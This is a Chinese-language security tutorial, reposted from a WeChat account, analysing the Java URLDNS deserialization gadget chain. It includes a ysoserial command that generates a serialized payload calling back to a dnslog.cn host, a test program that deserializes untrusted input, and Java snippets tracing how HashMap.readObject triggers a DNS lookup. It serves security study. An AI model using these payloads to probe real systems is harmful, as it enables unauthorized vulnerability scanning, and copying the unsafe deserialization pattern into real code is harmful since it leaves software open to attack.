Author：d4m1ts
URLDNS链利用
# 生成序列化Payload
java-jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://urldns.epraqr.dnslog.cn/ > a.ser
package org.example;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class App {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/d4m1ts/d4m1ts/tools/java/ysoserial/target/a.ser"));
objectInputStream.readObject();
}
}
动态调试ysoserial
有的依赖一直装不上，可以新建个maven项目，然后再给不能下载的依赖放到pom.xml，下载后说不定可以解决。
实在不行就手动下载jar然后导入吧
URLDNS链分析
* Gadget Chain:
* HashMap.readObject( )
* HashMap.putVal( )
* HashMap.hash( )
* URL.hashCode( )
思考
package org.example;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class App {
public static void main(String[] args) throws MalformedURLException {
HashMap map = new HashMap();
URL url = new URL("http://cgu44y.dnslog.cn/");
map.put(url, 2);
}
}
package org.example;
import java.io.IOException;
import java.net.*;
import java.util.HashMap;
public class App {
public static void main(String[] args) throws MalformedURLException {
URLStreamHandler urlStreamHandler = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u){
return null;
}
};
HashMap map = new HashMap();
URL url = new URL(null, "http://qyd9tm.dnslog.cn/", urlStreamHandler);
map.put(url, 2);
}
}
package org.example;
import java.io.*;
import java.util.Arrays;
public class App {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Test test = new Test();
// 设置值
test.test = "Test Value";
System.out.println(test.test);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(test);
System.out.println(Arrays.toString(byteArrayOutputStream.toByteArray()));
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Test serTest = (Test) objectInputStream.readObject();
System.out.println(serTest.test);
}
}
class Test implements Serializable {
transient public String test;
}
总结
package org.example;
import java.io.IOException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
public class App {
public static void main(String[] args) throws MalformedURLException {
/*
* `URL(URL context, String spec, URLStreamHandler handler)`类型，在计算`hashCode()`的时候，就会调用`URLStreamHandler.hashCode()`触发`getHost`方法对目标进行DNS解析
* */
URLStreamHandler handler = new URLStreamHandler() {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
};
URL url = new URL(null, "http://k0e09d.dnslog.cn/", handler);
url.hashCode(); // 触发点
}
}
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode().getHostAddress() -> URLStreamHandler.getHostAddress().InetAddress.getByName()
-
使用java 内部的类进行构造，不依赖第三方库
-
如果目标可以出网，在目标没有回显的时候，可以用来验证是否存在反序列化漏洞
原文始发于微信公众号（安全宇宙）：【创宇小课堂】URLDNS链分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论